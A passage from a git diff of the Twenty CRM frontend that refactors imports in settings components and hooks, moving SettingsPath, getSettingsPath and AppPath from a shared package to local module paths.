'react-router-dom'; import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons/SaveAndCancelButtons'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; import { Loader } from 'twenty-ui/feedback'; -import { getSettingsPath } from 'twenty-shared/utils'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { NotFound } from '~/pages/not-found/NotFound'; import { useImapSmtpCaldavConnectionForm } from '../hooks/useImapSmtpCaldavConnectionForm'; diff --git a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsListEmptyStateCard.tsx b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsListEmptyStateCard.tsx index fe33325262..70872c7b65 100644 --- a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsListEmptyStateCard.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsListEmptyStateCard.tsx @@ -4,16 +4,17 @@ import { isMicrosoftCalendarEnabledState } from '@/client-config/states/isMicros import { isMicrosoftMessagingEnabledState } from '@/client-config/states/isMicrosoftMessagingEnabledState'; import { useTriggerApisOAuth } from '@/settings/accounts/hooks/useTriggerApiOAuth'; import { SettingsCard } from '@/settings/components/SettingsCard'; +import { SettingsPath } from '@/types/SettingsPath'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useRecoilValue } from 'recoil'; -import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { IconAt, IconGoogle, IconMicrosoft } from 'twenty-ui/display'; import { UndecoratedLink } from 'twenty-ui/navigation'; import { FeatureFlagKey } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledCardsContainer = styled.div` display: flex; diff --git a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsNewImapSmtpCaldavConnection.tsx b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsNewImapSmtpCaldavConnection.tsx index 8ebd40db18..9e00e03497 100644 --- a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsNewImapSmtpCaldavConnection.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsNewImapSmtpCaldavConnection.tsx @@ -3,11 +3,11 @@ import { FormProvider } from 'react-hook-form'; import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons/SaveAndCancelButtons'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { SettingsAccountsConnectionForm } from '@/settings/accounts/components/SettingsAccountsConnectionForm'; import { useImapSmtpCaldavConnectionForm } from '../hooks/useImapSmtpCaldavConnectionForm'; diff --git a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsRowDropdownMenu.tsx b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsRowDropdownMenu.tsx index d74f3b1352..d3f9f96361 100644 --- a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsRowDropdownMenu.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsRowDropdownMenu.tsx @@ -2,6 +2,7 @@ import { type ConnectedAccount } from '@/accounts/types/ConnectedAccount'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { useDestroyOneRecord } from '@/object-record/hooks/useDestroyOneRecord'; import { useTriggerProviderReconnect } from '@/settings/accounts/hooks/useTriggerProviderReconnect'; +import { SettingsPath } from '@/types/SettingsPath'; import { Dropdown } from '@/ui/layout/dropdown/components/Dropdown'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer'; @@ -9,7 +10,7 @@ import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { Trans, useLingui } from '@lingui/react/macro'; -import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { IconAt, IconCalendarEvent, diff --git a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsSettingsSection.tsx b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsSettingsSection.tsx index 8adf48c1b8..91ff703688 100644 --- a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsSettingsSection.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsSettingsSection.tsx @@ -1,14 +1,14 @@ import styled from '@emotion/styled'; import { SettingsCard } from '@/settings/components/SettingsCard'; +import { SettingsPath } from '@/types/SettingsPath'; import { useTheme } from '@emotion/react'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { H2Title, IconCalendarEvent, IconMailCog } from 'twenty-ui/display'; +import { MOBILE_VIEWPORT } from 'twenty-ui/theme'; import { Section } from 'twenty-ui/layout'; import { UndecoratedLink } from 'twenty-ui/navigation'; -import { MOBILE_VIEWPORT } from 'twenty-ui/theme'; const StyledCardsContainer = styled.div` display: flex; diff --git a/packages/twenty-front/src/modules/settings/accounts/hooks/__tests__/useTriggerProviderReconnect.test.tsx b/packages/twenty-front/src/modules/settings/accounts/hooks/__tests__/useTriggerProviderReconnect.test.tsx index a900e091c6..393048dbd0 100644 --- a/packages/twenty-front/src/modules/settings/accounts/hooks/__tests__/useTriggerProviderReconnect.test.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/hooks/__tests__/useTriggerProviderReconnect.test.tsx @@ -2,7 +2,8 @@ import { act, renderHook } from '@testing-library/react'; import { type ReactNode } from 'react'; import { RecoilRoot } from 'recoil'; -import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { CalendarChannelVisibility, MessageChannelVisibility, diff --git a/packages/twenty-front/src/modules/settings/accounts/hooks/useImapSmtpCaldavConnectionForm.ts b/packages/twenty-front/src/modules/settings/accounts/hooks/useImapSmtpCaldavConnectionForm.ts index 59ceb83194..d53c3bfb12 100644 --- a/packages/twenty-front/src/modules/settings/accounts/hooks/useImapSmtpCaldavConnectionForm.ts +++ b/packages/twenty-front/src/modules/settings/accounts/hooks/useImapSmtpCaldavConnectionForm.ts @@ -6,8 +6,8 @@ import { useRecoilValue } from 'recoil'; import { currentWorkspaceMemberState } from '@/auth/states/currentWorkspaceMemberState'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; +import { SettingsPath } from '@/types/SettingsPath'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { type ConnectionParameters, useSaveImapSmtpCaldavAccountMutation, diff --git a/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerApiOAuth.ts b/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerApiOAuth.ts index bd505adfa0..7959d7a61a 100644 --- a/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerApiOAuth.ts +++ b/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerApiOAuth.ts @@ -1,8 +1,9 @@ +import { type AppPath } from '@/types/AppPath'; import { useCallback } from 'react'; -import { type AppPath, ConnectedAccountProvider } from 'twenty-shared/types'; import { useRedirect } from '@/domain-manager/hooks/useRedirect'; import { CustomError } from '@/error-handler/CustomError'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { REACT_APP_SERVER_BASE_URL } from '~/config'; import { type CalendarChannelVisibility, diff --git a/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerProviderReconnect.ts b/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerProviderReconnect.ts index 7d87fdde17..e4297ad2cf 100644 --- a/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerProviderReconnect.ts +++ b/packages/twenty-front/src/modules/settings/accounts/hooks/useTriggerProviderReconnect.ts @@ -1,7 +1,8 @@ import { useCallback } from 'react'; -import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { useTriggerApisOAuth } from '@/settings/accounts/hooks/useTriggerApiOAuth'; +import { SettingsPath } from '@/types/SettingsPath'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; export const useTriggerProviderReconnect = () => { diff --git a/packages/twenty-front/src/modules/settings/admin-panel/config-variables/components/SettingsAdminConfigVariablesRow.tsx b/packages/twenty-front/src/modules/settings/admin-panel/config-variables/components/SettingsAdminConfigVariablesRow.tsx index 4b6ef6cbb4..aac9097b35 100644 --- a/packages/twenty-front/src/modules/settings/admin-panel/config-variables/components/SettingsAdminConfigVariablesRow.tsx +++ b/packages/twenty-front/src/modules/settings/admin-panel/config-variables/components/SettingsAdminConfigVariablesRow.tsx @@ -1,11 +1,11 @@ +import { SettingsPath } from '@/types/SettingsPath'; import { TableCell } from '@/ui/layout/table/components/TableCell'; import { TableRow } from '@/ui/layout/table/components/TableRow'; import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconChevronRight } from 'twenty-ui/display'; import { type ConfigVariable } from '~/generated/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsAdminConfigVariablesRowProps = { variable: ConfigVariable; diff --git a/packages/twenty-front/src/modules/settings/admin-panel/health-status/components/SettingsHealthStatusListCard.tsx b/packages/twenty-front/src/modules/settings/admin-panel/health-status/components/SettingsHealthStatusListCard.tsx index a4c429c810..25bc53841c 100644 --- a/packages/twenty-front/src/modules/settings/admin-panel/health-status/components/SettingsHealthStatusListCard.tsx +++ b/packages/twenty-front/src/modules/settings/admin-panel/health-status/components/SettingsHealthStatusListCard.tsx @@ -1,7 +1,6 @@ import { SettingsListCard } from '@/settings/components/SettingsListCard'; +import { SettingsPath } from '@/types/SettingsPath'; import { useTheme } from '@emotion/react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconAppWindow, type IconComponent, @@ -14,7 +13,7 @@ import { HealthIndicatorId, type SystemHealthService, } from '~/generated-metadata/graphql'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { SettingsAdminHealthStatusRightContainer } from './SettingsAdminHealthStatusRightContainer'; const HealthStatusIcons: { [k in HealthIndicatorId]: IconComponent } = { diff --git a/packages/twenty-front/src/modules/settings/admin-panel/hooks/useImpersonationRedirect.ts b/packages/twenty-front/src/modules/settings/admin-panel/hooks/useImpersonationRedirect.ts index 97d102281d..5ecbdfcc21 100644 --- a/packages/twenty-front/src/modules/settings/admin-panel/hooks/useImpersonationRedirect.ts +++ b/packages/twenty-front/src/modules/settings/admin-panel/hooks/useImpersonationRedirect.ts @@ -1,5 +1,5 @@ import { useRedirectToWorkspaceDomain } from '@/domain-manager/hooks/useRedirectToWorkspaceDomain'; -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import { type WorkspaceUrls } from '~/generated/graphql'; import { getWorkspaceUrl } from '~/utils/getWorkspaceUrl'; diff --git a/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItem.tsx b/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItem.tsx index d73bbbb632..45a8591000 100644 --- a/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItem.tsx +++ b/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItem.tsx @@ -4,7 +4,8 @@ import { AdvancedSettingsWrapper } from '@/settings/components/AdvancedSettingsW import { type SettingsNavigationItem } from '@/settings/hooks/useSettingsNavigationItems'; import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem'; import { type NavigationDrawerSubItemState } from '@/ui/navigation/navigation-drawer/types/NavigationDrawerSubItemState'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsNavigationDrawerItemProps = { item: SettingsNavigationItem; diff --git a/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItems.tsx b/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItems.tsx index 5f36df3223..68704250ef 100644 --- a/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItems.tsx +++ b/packages/twenty-front/src/modules/settings/components/SettingsNavigationDrawerItems.tsx @@ -10,7 +10,7 @@ import { NavigationDrawerSection } from '@/ui/navigation/navigation-drawer/compo import { NavigationDrawerSectionTitle } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerSectionTitle'; import { getNavigationSubItemLeftAdornment } from '@/ui/navigation/navigation-drawer/utils/getNavigationSubItemLeftAdornment'; import { matchPath, resolvePath, useLocation } from 'react-router-dom'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsNavigationDrawerItems = () => { const settingsNavigationItems: SettingsNavigationSection[] = diff --git a/packages/twenty-front/src/modules/settings/components/SettingsPageContainer.tsx b/packages/twenty-front/src/modules/settings/components/SettingsPageContainer.tsx index 795ebb1230..077b899d17 100644 --- a/packages/twenty-front/src/modules/settings/components/SettingsPageContainer.tsx +++ b/packages/twenty-front/src/modules/settings/components/SettingsPageContainer.tsx @@ -1,12 +1,13 @@ import { OBJECT_SETTINGS_WIDTH } from '@/settings/data-model/constants/ObjectSettings'; +import { SettingsPath } from '@/types/SettingsPath'; import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile'; import { ScrollWrapper } from '@/ui/utilities/scroll/components/ScrollWrapper'; import { useScrollRestoration } from '@/ui/utilities/scroll/hooks/useScrollRestoration'; import styled from '@emotion/styled'; import { type ReactNode, useMemo } from 'react'; import { matchPath, useLocation } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledSettingsPageContainer = styled.div<{ width?: number; diff --git a/packages/twenty-front/src/modules/settings/components/SettingsProtectedRouteWrapper.tsx b/packages/twenty-front/src/modules/settings/components/SettingsProtectedRouteWrapper.tsx index dead3f2740..94cf268d30 100644 --- a/packages/twenty-front/src/modules/settings/components/SettingsProtectedRouteWrapper.tsx +++ b/packages/twenty-front/src/modules/settings/components/SettingsProtectedRouteWrapper.tsx @@ -1,14 +1,14 @@ import { useIsLogged } from '@/auth/hooks/useIsLogged'; import { useHasPermissionFlag } from '@/settings/roles/hooks/useHasPermissionFlag'; +import { SettingsPath } from '@/types/SettingsPath'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { type ReactNode } from 'react'; import { Navigate, Outlet } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { type FeatureFlagKey, type PermissionFlagType, } from '~/generated/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsProtectedRouteWrapperProps = { children?: ReactNode; diff --git a/packages/twenty-front/src/modules/settings/data-model/components/SettingsDataModelNewFieldBreadcrumbDropDown.tsx b/packages/twenty-front/src/modules/settings/data-model/components/SettingsDataModelNewFieldBreadcrumbDropDown.tsx index b27897c33a..692ad5a3ef 100644 --- a/packages/twenty-front/src/modules/settings/data-model/components/SettingsDataModelNewFieldBreadcrumbDropDown.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/components/SettingsDataModelNewFieldBreadcrumbDropDown.tsx @@ -1,4 +1,5 @@ import { type SettingsFieldType } from '@/settings/data-model/types/SettingsFieldType'; +import { SettingsPath } from '@/types/SettingsPath'; import { Dropdown } from '@/ui/layout/dropdown/components/Dropdown'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer'; @@ -7,7 +8,6 @@ import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { t } from '@lingui/core/macro'; import { useLocation, useParams, useSearchParams } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconChevronDown } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; diff --git a/packages/twenty-front/src/modules/settings/data-model/fields/forms/components/SettingsObjectNewFieldSelector.tsx b/packages/twenty-front/src/modules/settings/data-model/fields/forms/components/SettingsObjectNewFieldSelector.tsx index bae7cb6e0e..355910c48f 100644 --- a/packages/twenty-front/src/modules/settings/data-model/fields/forms/components/SettingsObjectNewFieldSelector.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/fields/forms/components/SettingsObjectNewFieldSelector.tsx @@ -9,6 +9,7 @@ import { useCurrencySettingsFormInitialValues } from '@/settings/data-model/fiel import { useSelectSettingsFormInitialValues } from '@/settings/data-model/fields/forms/select/hooks/useSelectSettingsFormInitialValues'; import { type FieldType } from '@/settings/data-model/types/FieldType'; import { type SettingsFieldType } from '@/settings/data-model/types/SettingsFieldType'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { useTheme } from '@emotion/react'; @@ -17,13 +18,12 @@ import { t } from '@lingui/core/macro'; import { Section } from '@react-email/components'; import { useState } from 'react'; import { Controller, useFormContext } from 'react-hook-form'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconSearch } from 'twenty-ui/display'; import { UndecoratedLink } from 'twenty-ui/navigation'; import { FieldMetadataType } from '~/generated-metadata/graphql'; import { FeatureFlagKey } from '~/generated/graphql'; import { type SettingsDataModelFieldTypeFormValues } from '~/pages/settings/data-model/new-field/SettingsObjectNewFieldSelect'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsObjectNewFieldSelectorProps = { className?: string; diff --git a/packages/twenty-front/src/modules/settings/data-model/graph-overview/components/SettingsDataModelOverview.tsx b/packages/twenty-front/src/modules/settings/data-model/graph-overview/components/SettingsDataModelOverview.tsx index 24b463d70a..dc5b2d39ad 100644 --- a/packages/twenty-front/src/modules/settings/data-model/graph-overview/components/SettingsDataModelOverview.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/graph-overview/components/SettingsDataModelOverview.tsx @@ -20,8 +20,8 @@ import { useReactFlow, } from '@xyflow/react'; import { useCallback, useState } from 'react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; +import { Button, IconButtonGroup } from 'twenty-ui/input'; import { IconLock, IconLockOpen, @@ -30,7 +30,6 @@ import { IconPlus, IconX, } from 'twenty-ui/display'; -import { Button, IconButtonGroup } from 'twenty-ui/input'; const nodeTypes: NodeTypes = { object: SettingsDataModelOverviewObject, @@ -185,10 +184,7 @@ export const SettingsDataModelOverview = () => { return ( - + ; type SettingsDataModelOverviewObjectProps = diff --git a/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsObjectFieldItemTableRow.tsx b/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsObjectFieldItemTableRow.tsx index d948813077..3e2bd584a8 100644 --- a/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsObjectFieldItemTableRow.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsObjectFieldItemTableRow.tsx @@ -8,6 +8,7 @@ import { SettingsObjectFieldActiveActionDropdown } from '@/settings/data-model/o import { SettingsObjectFieldInactiveActionDropdown } from '@/settings/data-model/object-details/components/SettingsObjectFieldDisabledActionDropdown'; import { settingsObjectFieldsFamilyState } from '@/settings/data-model/object-details/states/settingsObjectFieldsFamilyState'; import { isFieldTypeSupportedInSettings } from '@/settings/data-model/utils/isFieldTypeSupportedInSettings'; +import { SettingsPath } from '@/types/SettingsPath'; import { TableCell } from '@/ui/layout/table/components/TableCell'; import { TableRow } from '@/ui/layout/table/components/TableRow'; import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState'; @@ -15,9 +16,7 @@ import { useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { useMemo } from 'react'; import { useRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { - getSettingsPath, isDefined, isLabelIdentifierFieldMetadataTypes, } from 'twenty-shared/utils'; @@ -27,7 +26,7 @@ import { UndecoratedLink } from 'twenty-ui/navigation'; import { RelationType } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; import { type SettingsObjectDetailTableItem } from '~/pages/settings/data-model/types/SettingsObjectDetailTableItem'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { RELATION_TYPES } from '../../constants/RelationTypes'; import { SettingsObjectFieldDataType } from './SettingsObjectFieldDataType'; diff --git a/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsUpdateDataModelObjectAboutForm.tsx b/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsUpdateDataModelObjectAboutForm.tsx index 0d2ce4fdc8..720a21d7fa 100644 --- a/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsUpdateDataModelObjectAboutForm.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/object-details/components/SettingsUpdateDataModelObjectAboutForm.tsx @@ -5,12 +5,12 @@ import { type SettingsDataModelObjectAboutFormValues, settingsDataModelObjectAboutFormSchema, } from '@/settings/data-model/validation-schemas/settingsDataModelObjectAboutFormSchema'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ApolloError } from '@apollo/client'; import { zodResolver } from '@hookform/resolvers/zod'; import { FormProvider, useForm } from 'react-hook-form'; import { useSetRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { ZodError } from 'zod'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; import { updatedObjectNamePluralState } from '~/pages/settings/data-model/states/updatedObjectNamePluralState'; diff --git a/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectFields.tsx b/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectFields.tsx index 08870d5e02..4c6ff3f029 100644 --- a/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectFields.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectFields.tsx @@ -1,7 +1,7 @@ import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsObjectFieldTable } from '~/pages/settings/data-model/SettingsObjectFieldTable'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; diff --git a/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectSettings.tsx b/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectSettings.tsx index b1faab3158..e659fc031a 100644 --- a/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectSettings.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/object-details/components/tabs/ObjectSettings.tsx @@ -3,9 +3,9 @@ import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataI import { useUpdateOneObjectMetadataItem } from '@/object-metadata/hooks/useUpdateOneObjectMetadataItem'; import { SettingsUpdateDataModelObjectAboutForm } from '@/settings/data-model/object-details/components/SettingsUpdateDataModelObjectAboutForm'; import { SettingsDataModelObjectSettingsFormCard } from '@/settings/data-model/objects/forms/components/SettingsDataModelObjectSettingsFormCard'; +import { SettingsPath } from '@/types/SettingsPath'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { H2Title, IconArchive } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; diff --git a/packages/twenty-front/src/modules/settings/data-model/objects/components/SettingsObjectCoverImage.tsx b/packages/twenty-front/src/modules/settings/data-model/objects/components/SettingsObjectCoverImage.tsx index a2891d4566..4f431df015 100644 --- a/packages/twenty-front/src/modules/settings/data-model/objects/components/SettingsObjectCoverImage.tsx +++ b/packages/twenty-front/src/modules/settings/data-model/objects/components/SettingsObjectCoverImage.tsx @@ -1,12 +1,11 @@ import styled from '@emotion/styled'; +import { SettingsPath } from '@/types/SettingsPath'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconEye } from 'twenty-ui/display'; import { FloatingButton } from 'twenty-ui/input'; import { Card } from 'twenty-ui/layout'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import DarkCoverImage from '../../assets/cover-dark.png'; import LightCoverImage from '../../assets/cover-light.png'; diff --git a/packages/twenty-front/src/modules/settings/developers/components/SettingsApiKeysTable.tsx b/packages/twenty-front/src/modules/settings/developers/components/SettingsApiKeysTable.tsx index 8bdeddd964..bd6b3003da 100644 --- a/packages/twenty-front/src/modules/settings/developers/components/SettingsApiKeysTable.tsx +++ b/packages/twenty-front/src/modules/settings/developers/components/SettingsApiKeysTable.tsx @@ -1,4 +1,5 @@ import { SettingsApiKeysFieldItemTableRow } from '@/settings/developers/components/SettingsApiKeysFieldItemTableRow'; +import { SettingsPath } from '@/types/SettingsPath'; import { Table } from '@/ui/layout/table/components/Table'; import { TableBody } from '@/ui/layout/table/components/TableBody'; import { TableHeader } from '@/ui/layout/table/components/TableHeader'; @@ -6,12 +7,11 @@ import { TableRow } from '@/ui/layout/table/components/TableRow'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import styled from '@emotion/styled'; import { Trans } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { FeatureFlagKey, useGetApiKeysQuery, } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledTableBody = styled(TableBody)` border-bottom: 1px solid ${({ theme }) => theme.border.color.light}; diff --git a/packages/twenty-front/src/modules/settings/developers/components/SettingsDevelopersWebhookForm.tsx b/packages/twenty-front/src/modules/settings/developers/components/SettingsDevelopersWebhookForm.tsx index ddb49b160e..b1ef94c7d9 100644 --- a/packages/twenty-front/src/modules/settings/developers/components/SettingsDevelopersWebhookForm.tsx +++ b/packages/twenty-front/src/modules/settings/developers/components/SettingsDevelopersWebhookForm.tsx @@ -6,6 +6,7 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContain import { SettingsSkeletonLoader } from '@/settings/components/SettingsSkeletonLoader'; import { type WebhookFormMode } from '@/settings/developers/constants/WebhookFormMode'; import { useWebhookForm } from '@/settings/developers/hooks/useWebhookForm'; +import { SettingsPath } from '@/types/SettingsPath'; import { Select } from '@/ui/input/components/Select'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { TextArea } from '@/ui/input/components/TextArea'; @@ -15,9 +16,7 @@ import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBa import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile'; import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { - getSettingsPath, getUrlHostnameOrThrow, isDefined, isValidUrl, @@ -33,6 +32,7 @@ import { import { Button, IconButton, type SelectOption } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const OBJECT_DROPDOWN_WIDTH = 340; const ACTION_DROPDOWN_WIDTH = 140; diff --git a/packages/twenty-front/src/modules/settings/developers/components/SettingsWebhooksTable.tsx b/packages/twenty-front/src/modules/settings/developers/components/SettingsWebhooksTable.tsx index a5e255f520..5d519a96ef 100644 --- a/packages/twenty-front/src/modules/settings/developers/components/SettingsWebhooksTable.tsx +++ b/packages/twenty-front/src/modules/settings/developers/components/SettingsWebhooksTable.tsx @@ -1,13 +1,13 @@ import styled from '@emotion/styled'; import { SettingsDevelopersWebhookTableRow } from '@/settings/developers/components/SettingsDevelopersWebhookTableRow'; +import { SettingsPath } from '@/types/SettingsPath'; import { Table } from '@/ui/layout/table/components/Table'; import { TableBody } from '@/ui/layout/table/components/TableBody'; import { TableHeader } from '@/ui/layout/table/components/TableHeader'; import { TableRow } from '@/ui/layout/table/components/TableRow'; -import { SettingsPath } from 